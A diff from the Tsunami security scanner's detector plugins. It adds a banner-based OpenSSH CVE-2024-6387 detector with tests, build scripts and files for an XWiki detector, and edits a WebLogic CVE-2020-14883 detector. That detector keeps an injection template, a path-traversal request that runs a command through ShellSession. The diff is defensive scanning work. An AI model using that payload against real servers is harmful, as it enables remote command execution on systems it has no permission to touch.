100755 index 000000000..f5feea6d6 --- /dev/null +++ b/google/detectors/rce/cve20246387/gradlew @@ -0,0 +1,252 @@ +#!/bin/sh + +# +# Copyright © 2015-2021 the original authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 +# + +############################################################################## +# +# Gradle start up script for POSIX generated by Gradle. +# +# Important for running: +# +# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is +# noncompliant, but you have some other compliant shell such as ksh or +# bash, then to run this script, type that shell name before the whole +# command line, like: +# +# ksh Gradle +# +# Busybox and similar reduced shells will NOT work, because this script +# requires all of these POSIX shell features: +# * functions; +# * expansions «$var», «${var}», «${var:-default}», «${var+SET}», +# «${var#prefix}», «${var%suffix}», and «$( cmd )»; +# * compound commands having a testable exit status, especially «case»; +# * various built-in commands including «command», «set», and «ulimit». +# +# Important for patching: +# +# (2) This script targets any POSIX shell, so it avoids extensions provided +# by Bash, Ksh, etc; in particular arrays are avoided. +# +# The "traditional" practice of packing multiple parameters into a +# space-separated string is a well documented source of bugs and security +# problems, so this is (mostly) avoided, by progressively accumulating +# options in "$@", and eventually passing that to Java. +# +# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, +# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; +# see the in-line comments for details. +# +# There are tweaks for specific operating systems such as AIX, CygWin, +# Darwin, MinGW, and NonStop. +# +# (3) This script is generated from the Groovy template +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# within the Gradle project. +# +# You can find Gradle at https://github.com/gradle/gradle/. +# +############################################################################## + +# Attempt to set APP_HOME + +# Resolve links: $0 may be a link +app_path=$0 + +# Need this for daisy-chained symlinks. +while + APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path + [ -h "$app_path" ] +do + ls=$( ls -ld "$app_path" ) + link=${ls#*' -> '} + case $link in #( + /*) app_path=$link ;; #( + *) app_path=$APP_HOME$link ;; + esac +done + +# This is normally unused +# shellcheck disable=SC2034 +APP_BASE_NAME=${0##*/} +# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s +' "$PWD" ) || exit + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD=maximum + +warn () { + echo "$*" +} >&2 + +die () { + echo + echo "$*" + echo + exit 1 +} >&2 + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "$( uname )" in #( + CYGWIN* ) cygwin=true ;; #( + Darwin* ) darwin=true ;; #( + MSYS* | MINGW* ) msys=true ;; #( + NONSTOP* ) nonstop=true ;; +esac + +CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar + + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD=$JAVA_HOME/jre/sh/java + else + JAVACMD=$JAVA_HOME/bin/java + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD=java + if ! command -v java >/dev/null 2>&1 + then + die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +fi + +# Increase the maximum file descriptors if we can. +if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then + case $MAX_FD in #( + max*) + # In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + MAX_FD=$( ulimit -H -n ) || + warn "Could not query maximum file descriptor limit" + esac + case $MAX_FD in #( + '' | soft) :;; #( + *) + # In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + ulimit -n "$MAX_FD" || + warn "Could not set maximum file descriptor limit to $MAX_FD" + esac +fi + +# Collect all arguments for the java command, stacking in reverse order: +# * args from the command line +# * the main class name +# * -classpath +# * -D...appname settings +# * --module-path (only if needed) +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. + +# For Cygwin or MSYS, switch paths to Windows format before running java +if "$cygwin" || "$msys" ; then + APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) + CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" ) + + JAVACMD=$( cygpath --unix "$JAVACMD" ) + + # Now convert the arguments - kludge to limit ourselves to /bin/sh + for arg do + if + case $arg in #( + -*) false ;; # don't mess with options #( + /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath + [ -e "$t" ] ;; #( + *) false ;; + esac + then + arg=$( cygpath --path --ignore --mixed "$arg" ) + fi + # Roll the args list around exactly as many times as the number of + # args, so each arg winds up back in the position where it started, but + # possibly modified. + # + # NB: a `for` loop captures its iteration list before it begins, so + # changing the positional parameters here affects neither the number of + # iterations, nor the values presented in `arg`. + shift # remove old arg + set -- "$@" "$arg" # push replacement arg + done +fi + + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' + +# Collect all arguments for the java command: +# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# and any embedded shellness will be escaped. +# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be +# treated as '${Hostname}' itself on the command line. + +set -- \ + "-Dorg.gradle.appname=$APP_BASE_NAME" \ + -classpath "$CLASSPATH" \ + org.gradle.wrapper.GradleWrapperMain \ + "$@" + +# Stop when "xargs" is not available. +if ! command -v xargs >/dev/null 2>&1 +then + die "xargs is not available" +fi + +# Use "xargs" to parse quoted args. +# +# With -n1 it outputs one arg per line, with the quotes and backslashes removed. +# +# In Bash we could simply go: +# +# readarray ARGS < <( xargs -n1 <<<"$var" ) && +# set -- "${ARGS[@]}" "$@" +# +# but POSIX shell has neither arrays nor command substitution, so instead we +# post-process each arg (as a line of input to sed) to backslash-escape any +# character that might be a shell metacharacter, then use eval to reverse +# that process (while maintaining the separation between arguments), and wrap +# the whole thing up as a single "set" statement. +# +# This will of course break if any of these variables contains a newline or +# an unmatched quote. +# + +eval "set -- $( + printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | + xargs -n1 | + sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | + tr '\n' ' ' + )" '"$@"' + +exec "$JAVACMD" "$@" diff --git a/google/detectors/rce/cve20246387/gradlew.bat b/google/detectors/rce/cve20246387/gradlew.bat new file mode 100644 index 000000000..9d21a2183 --- /dev/null +++ b/google/detectors/rce/cve20246387/gradlew.bat @@ -0,0 +1,94 @@ +@rem +@rem Copyright 2015 the original author or authors. +@rem +@rem Licensed under the Apache License, Version 2.0 (the "License"); +@rem you may not use this file except in compliance with the License. +@rem You may obtain a copy of the License at +@rem +@rem https://www.apache.org/licenses/LICENSE-2.0 +@rem +@rem Unless required by applicable law or agreed to in writing, software +@rem distributed under the License is distributed on an "AS IS" BASIS, +@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +@rem See the License for the specific language governing permissions and +@rem limitations under the License. +@rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem + +@if "%DEBUG%"=="" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%"=="" set DIRNAME=. +@rem This is normally unused +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Resolve any "." and ".." in APP_HOME to make it shorter. +for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if %ERRORLEVEL% equ 0 goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:execute +@rem Setup the command line + +set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar + + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* + +:end +@rem End local scope for the variables with windows NT shell +if %ERRORLEVEL% equ 0 goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +set EXIT_CODE=%ERRORLEVEL% +if %EXIT_CODE% equ 0 set EXIT_CODE=1 +if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE% +exit /b %EXIT_CODE% + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/google/detectors/rce/cve20246387/settings.gradle b/google/detectors/rce/cve20246387/settings.gradle new file mode 100644 index 000000000..971695695 --- /dev/null +++ b/google/detectors/rce/cve20246387/settings.gradle @@ -0,0 +1 @@ +rootProject.name = 'openssh_cve_2024_6387_detector' diff --git a/google/detectors/rce/cve20246387/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20246387/Cve20246387Detector.java b/google/detectors/rce/cve20246387/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20246387/Cve20246387Detector.java new file mode 100644 index 000000000..cc2d21510 --- /dev/null +++ b/google/detectors/rce/cve20246387/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20246387/Cve20246387Detector.java @@ -0,0 +1,166 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.rce.cve20246387; + +import static com.google.common.base.Preconditions.checkNotNull; +import static com.google.common.collect.ImmutableList.toImmutableList; + +import com.google.common.annotations.VisibleForTesting; +import com.google.common.collect.ImmutableList; +import com.google.common.flogger.GoogleLogger; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.time.UtcClock; +import com.google.tsunami.plugin.PluginType; +import com.google.tsunami.plugin.VulnDetector; +import com.google.tsunami.plugin.annotations.PluginInfo; +import com.google.tsunami.proto.AdditionalDetail; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.TextData; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.time.Clock; +import javax.inject.Inject; + +/** A {@link VulnDetector} that detects CVE-2024-6387. */ +@PluginInfo( + type = PluginType.VULN_DETECTION, + name = "Cve20246387Detector", + version = "0.1", + description = "Detects CVE-2024-6387.", + author = "Tsunami Team (tsunami-dev@google.com)", + bootstrapModule = Cve20246387DetectorBootstrapModule.class) +public final class Cve20246387Detector implements VulnDetector { + private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); + private static final ImmutableList VULNERABLE_BANNER_VERSIONS_SUFFIX = + ImmutableList.of( + // Ubuntu + "8.8p1 Ubuntu-1", + "8.9p1 Ubuntu-3", + "8.9p1 Ubuntu-3ubuntu0.1", + "8.9p1 Ubuntu-3ubuntu0.3", + "8.9p1 Ubuntu-3ubuntu0.4", + "8.9p1 Ubuntu-3ubuntu0.5", + "8.9p1 Ubuntu-3ubuntu0.6", + "8.9p1 Ubuntu-3ubuntu0.7", + "8.9p1 Ubuntu-3ubuntu0.7+Fips1", + "9.0p1 Ubuntu-1ubuntu7", + "9.0p1 Ubuntu-1ubuntu7.1", + "9.0p1 Ubuntu-1ubuntu8.4", + "9.0p1 Ubuntu-1ubuntu8.7", + "9.3p1 Ubuntu-1ubuntu3.2", + "9.3p1 Ubuntu-1ubuntu3.3", + "9.6p1 Ubuntu-3ubuntu13", + // Debian + "8.7p1 Debian-4", + "9.0p1 Debian-1+b1", + "9.2p1 Debian-2", + "9.2p1 Debian-2+deb12u1", + "9.2p1 Debian-2+deb12u2", + "9.3p1 Debian-1", + "9.4p1 Debian-1", + "9.6p1 Debian-2", + "9.6p1 Debian-3", + "9.6p1 Debian-4", + "9.7p1 Debian-4", + "9.7p1 Debian-5", + "9.7p1 Debian-6"); + + @VisibleForTesting + static final String TITLE = + "CVE-2024-6387 Unauthenticated Remote Code Execution in OpenSSH Server"; + + @VisibleForTesting + static final String DESCRIPTION = + "A signal handler race condition was found in OpenSSH's server (sshd), where a client does" + + " not authenticate within LoginGraceTime seconds (120 by default, 600 in old OpenSSH" + + " versions), then sshd's SIGALRM handler is called asynchronously. However, this signal" + + " handler calls various functions that are not async-signal-safe, for example," + + " syslog()."; + + @VisibleForTesting + static final String RECOMMENDATION = + "Upgrade OpenSSH to the latest version or restrict the access to the SSH server to trusted" + + " peers. When upgrade is not available, you could set the `LoginGraceTime` parameter to" + + " 0 in OpenSSH config file at `/etc/ssh/sshd_config` and restart the OpenSSH server."; + + private final Clock utcClock; + + @Inject + Cve20246387Detector(@UtcClock Clock utcClock) { + this.utcClock = checkNotNull(utcClock); + } + + @Override + public DetectionReportList detect( + TargetInfo targetInfo, ImmutableList matchedServices) { + logger.atInfo().log("Scanning CVE-2024-6387 via banner comparison."); + return DetectionReportList.newBuilder() + .addAllDetectionReports( + matchedServices.stream() + .filter(this::hasOpenSshBanner) + .filter(this::isServiceVulnerable) + .map(networkService -> buildDetectionReport(targetInfo, networkService)) + .collect(toImmutableList())) + .build(); + } + + private boolean hasOpenSshBanner(NetworkService networkService) { + return networkService.getBannerCount() > 0 + && networkService.getBannerList().stream() + .anyMatch(banner -> banner.contains("SSH-2.0-OpenSSH")); + } + + private boolean isServiceVulnerable(NetworkService networkService) { + return networkService.getBannerList().stream() + .map(String::trim) + .anyMatch(banner -> VULNERABLE_BANNER_VERSIONS_SUFFIX.stream().anyMatch(banner::endsWith)); + } + + private DetectionReport buildDetectionReport( + TargetInfo targetInfo, NetworkService networkService) { + ImmutableList additionalDetails = + networkService.getBannerList().stream() + .map( + banner -> + AdditionalDetail.newBuilder() + .setTextData(TextData.newBuilder().setText(banner)) + .build()) + .collect(toImmutableList()); + + return DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(networkService) + .setDetectionTimestamp(Timestamps.fromMillis(utcClock.millis())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_PRESENT) + .setVulnerability( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE-2024-6387")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2024-6387")) + .setSeverity(Severity.CRITICAL) + .setTitle(TITLE) + .setDescription(DESCRIPTION) + .setRecommendation(RECOMMENDATION) + .addAllAdditionalDetails(additionalDetails)) + .build(); + } +} diff --git a/google/detectors/rce/cve20246387/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20246387/Cve20246387DetectorBootstrapModule.java b/google/detectors/rce/cve20246387/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20246387/Cve20246387DetectorBootstrapModule.java new file mode 100644 index 000000000..5f21ae623 --- /dev/null +++ b/google/detectors/rce/cve20246387/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20246387/Cve20246387DetectorBootstrapModule.java @@ -0,0 +1,27 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.rce.cve20246387; + +import com.google.tsunami.plugin.PluginBootstrapModule; + +/** A {@link PluginBootstrapModule} for {@link Cve20246387Detector}. */ +public final class Cve20246387DetectorBootstrapModule extends PluginBootstrapModule { + + @Override + protected void configurePlugin() { + registerPlugin(Cve20246387Detector.class); + } +} diff --git a/google/detectors/rce/cve20246387/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20246387/Cve20246387DetectorTest.java b/google/detectors/rce/cve20246387/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20246387/Cve20246387DetectorTest.java new file mode 100644 index 000000000..880d714d3 --- /dev/null +++ b/google/detectors/rce/cve20246387/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20246387/Cve20246387DetectorTest.java @@ -0,0 +1,174 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.rce.cve20246387; + +import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; +import static com.google.tsunami.plugins.detectors.rce.cve20246387.Cve20246387Detector.DESCRIPTION; +import static com.google.tsunami.plugins.detectors.rce.cve20246387.Cve20246387Detector.RECOMMENDATION; +import static com.google.tsunami.plugins.detectors.rce.cve20246387.Cve20246387Detector.TITLE; + +import com.google.common.collect.ImmutableList; +import com.google.inject.Guice; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.time.testing.FakeUtcClock; +import com.google.tsunami.common.time.testing.FakeUtcClockModule; +import com.google.tsunami.proto.AdditionalDetail; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.TextData; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.time.Instant; +import javax.inject.Inject; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** Unit tests for {@link Cve20246387Detector} */ +@RunWith(JUnit4.class) +public final class Cve20246387DetectorTest { + private final FakeUtcClock fakeUtcClock = + FakeUtcClock.create().setNow(Instant.parse("2020-01-01T00:00:00.00Z")); + + @Inject Cve20246387Detector detector; + + @Before + public void setUp() { + Guice.createInjector( + new FakeUtcClockModule(fakeUtcClock), new Cve20246387DetectorBootstrapModule()) + .injectMembers(this); + } + + @Test + public void detect_noBanner_returnsEmpty() { + var targetNetworkService = + NetworkService.newBuilder().setNetworkEndpoint(forHostnameAndPort("localhost", 22)).build(); + var targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(targetNetworkService.getNetworkEndpoint()) + .build(); + + DetectionReportList detectionReports = + detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); + + assertThat(detectionReports.getDetectionReportsList()).isEmpty(); + } + + @Test + public void detect_nonSshBanner_returnsEmpty() { + var targetNetworkService = + NetworkService.newBuilder() + .setNetworkEndpoint(forHostnameAndPort("localhost", 22)) + .addBanner("irrelevant") + .build(); + var targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(targetNetworkService.getNetworkEndpoint()) + .build(); + + DetectionReportList detectionReports = + detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); + + assertThat(detectionReports.getDetectionReportsList()).isEmpty(); + } + + @Test + public void detect_nonVulnerableSshBanner_returnsNoFinding() { + var targetNetworkService = + NetworkService.newBuilder() + .setNetworkEndpoint(forHostnameAndPort("localhost", 22)) + .addBanner("\n\nSSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3") + .build(); + var targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(targetNetworkService.getNetworkEndpoint()) + .build(); + + DetectionReportList detectionReports = + detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); + + assertThat(detectionReports.getDetectionReportsList()).isEmpty(); + } + + @Test + public void detect_nonVulnerableGenericSshBanner_returnsNoFinding() { + var targetNetworkService = + NetworkService.newBuilder() + .setNetworkEndpoint(forHostnameAndPort("localhost", 22)) + .addBanner("\n\nSSH-2.0-OpenSSH_8.0") + .build(); + var targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(targetNetworkService.getNetworkEndpoint()) + .build(); + + DetectionReportList detectionReports = + detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); + + assertThat(detectionReports.getDetectionReportsList()).isEmpty(); + } + + @Test + public void detect_vulnerableSshBanner_returnsVulnerability() { + var targetNetworkService = + NetworkService.newBuilder() + .setNetworkEndpoint(forHostnameAndPort("localhost", 22)) + .addBanner("SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13") + .build(); + var targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(targetNetworkService.getNetworkEndpoint()) + .build(); + + DetectionReportList detectionReports = + detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); + + assertThat(detectionReports.getDetectionReportsList()) + .containsExactly( + DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(targetNetworkService) + .setDetectionTimestamp(Timestamps.fromMillis(fakeUtcClock.millis())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_PRESENT) + .setVulnerability( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("GOOGLE") + .setValue("CVE-2024-6387")) + .addRelatedId( + VulnerabilityId.newBuilder() + .setPublisher("CVE") + .setValue("CVE-2024-6387")) + .setSeverity(Severity.CRITICAL) + .setTitle(TITLE) + .setDescription(DESCRIPTION) + .setRecommendation(RECOMMENDATION) + .addAdditionalDetails( + AdditionalDetail.newBuilder() + .setTextData( + TextData.newBuilder() + .setText("SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13")) + .build())) + .build()); + } +} diff --git a/google/detectors/rce/weblogic/cve202014883/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202014883/WebLogicAdminConsoleRceDetector.java b/google/detectors/rce/weblogic/cve202014883/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202014883/WebLogicAdminConsoleRceDetector.java index b7b5775a2..535140f06 100644 --- a/google/detectors/rce/weblogic/cve202014883/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202014883/WebLogicAdminConsoleRceDetector.java +++ b/google/detectors/rce/weblogic/cve202014883/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202014883/WebLogicAdminConsoleRceDetector.java @@ -17,11 +17,9 @@ import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.collect.ImmutableList.toImmutableList; -import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority; import com.google.common.annotations.VisibleForTesting; import com.google.common.collect.ImmutableList; -import com.google.common.collect.ImmutableSet; import com.google.common.flogger.GoogleLogger; import com.google.common.util.concurrent.Uninterruptibles; import com.google.protobuf.util.Timestamps; @@ -65,12 +63,7 @@ public final class WebLogicAdminConsoleRceDetector implements VulnDetector { private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); private static final String INJECTION_TEMPLATE = "%sconsole/images/.%%252e/console.portal?_nfpb=true&_pageLable=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%s);"; - private static final ImmutableSet HTTP_EQUIVALENT_SERVICE_NAMES = - ImmutableSet.of( - "", - "unknown", // nmap could not determine the service name, we try to exploit anyway. - "afs3-callback"); // most /etc/services list port 7001 as afs3-callback service - @VisibleForTesting static final String VULNERABILITY_REPORT_PUBLISHER = "Google"; + @VisibleForTesting static final String VULNERABILITY_REPORT_PUBLISHER = "GOOGLE"; @VisibleForTesting static final String VULNERABILITY_REPORT_ID = "CVE_2020_14883"; @VisibleForTesting @@ -112,27 +105,15 @@ public DetectionReportList detect( return DetectionReportList.newBuilder() .addAllDetectionReports( matchedServices.stream() - .filter(this::isInScopeService) + .filter(NetworkServiceUtils::isWebService) .filter(this::isServiceVulnerable) .map(networkService -> buildDetectionReport(targetInfo, networkService)) .collect(toImmutableList())) .build(); } - private boolean isInScopeService(NetworkService networkService) { - return NetworkServiceUtils.isWebService(networkService) - || HTTP_EQUIVALENT_SERVICE_NAMES.contains(networkService.getServiceName()); - } - - private String buildRootUri(NetworkService networkService) { - if (NetworkServiceUtils.isWebService(networkService)) { - return NetworkServiceUtils.buildWebApplicationRootUrl(networkService); - } - return String.format("http://%s/", toUriAuthority(networkService.getNetworkEndpoint())); - } - private boolean isServiceVulnerable(NetworkService networkService) { - String rootUri = buildRootUri(networkService); + String rootUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); return (payloadGenerator.isCallbackServerEnabled() && isVulnerableWithCallback(rootUri, networkService)) diff --git a/google/detectors/rce/xwiki/cve202431982/README.md b/google/detectors/rce/xwiki/cve202431982/README.md new file mode 100644 index 000000000..e87e8eb1e --- /dev/null +++ b/google/detectors/rce/xwiki/cve202431982/README.md @@ -0,0 +1,14 @@ +# CVE-2024-31982 RCE for xwiki + +This detector checks whether an xwiki instance is vulnerable to RCE-2024-31982 +which allows unauthenticated code execution. + +## Build jar file for this plugin + +Using `gradlew`: + +```shell +./gradlew jar +``` + +Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/google/detectors/rce/xwiki/cve202431982/build.gradle b/google/detectors/rce/xwiki/cve202431982/build.gradle new file mode 100644 index 000000000..2f6c9666b --- /dev/null +++ b/google/detectors/rce/xwiki/cve202431982/build.gradle @@ -0,0 +1,83 @@ +plugins { + id 'java-library' +} + +description = 'Tsunami VulnDetector plugin for CVE-2024-31982.' +group = 'com.google.tsunami' +version = '0.0.1-SNAPSHOT' + +repositories { + maven { // The google mirror is less flaky than mavenCentral() + url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' + } + mavenCentral() + mavenLocal() +} + +java { + sourceCompatibility = JavaVersion.VERSION_11 + targetCompatibility = JavaVersion.VERSION_11 + + jar.manifest { + attributes('Implementation-Title': name, + 'Implementation-Version': version, + 'Built-By': System.getProperty('user.name'), + 'Built-JDK': System.getProperty('java.version'), + 'Source-Compatibility': sourceCompatibility, + 'Target-Compatibility': targetCompatibility) + } + + javadoc.options { + encoding = 'UTF-8' + use = true + links 'https://docs.oracle.com/javase/8/docs/api/' + source = '8' + } + + // Log stacktrace to console when test fails. + test { + testLogging { + exceptionFormat = 'full' + showExceptions true + showCauses true + showStackTraces true + } + maxHeapSize = '1500m' + } +} + +ext { + floggerVersion = '0.5.1' + guavaVersion = '28.2-jre' + javaxInjectVersion = '1' + jsoupVersion = '1.9.2' + okhttpVersion = '3.12.0' + protobufVersion = '3.11.4' + tsunamiVersion = 'latest.release' + + junitVersion = '4.13' + mockitoVersion = '2.28.2' + truthVersion = '1.0.1' +} + +dependencies { + implementation "com.google.flogger:flogger:${floggerVersion}" + implementation "com.google.flogger:google-extensions:${floggerVersion}" + implementation "com.google.flogger:flogger-system-backend:${floggerVersion}" + implementation "com.google.guava:guava:${guavaVersion}" + implementation "com.google.protobuf:protobuf-java:${protobufVersion}" + implementation "com.google.protobuf:protobuf-javalite:${protobufVersion}" + implementation "com.google.protobuf:protobuf-java-util:${protobufVersion}" + implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}" + implementation "javax.inject:javax.inject:${javaxInjectVersion}" + implementation "org.jsoup:jsoup:${jsoupVersion}" + + testImplementation "com.google.truth:truth:${truthVersion}" + testImplementation "com.google.truth.extensions:truth-java8-extension:${truthVersion}" + testImplementation "com.google.truth.extensions:truth-proto-extension:${truthVersion}" + testImplementation "com.squareup.okhttp3:mockwebserver:${okhttpVersion}" + testImplementation "junit:junit:${junitVersion}" + testImplementation 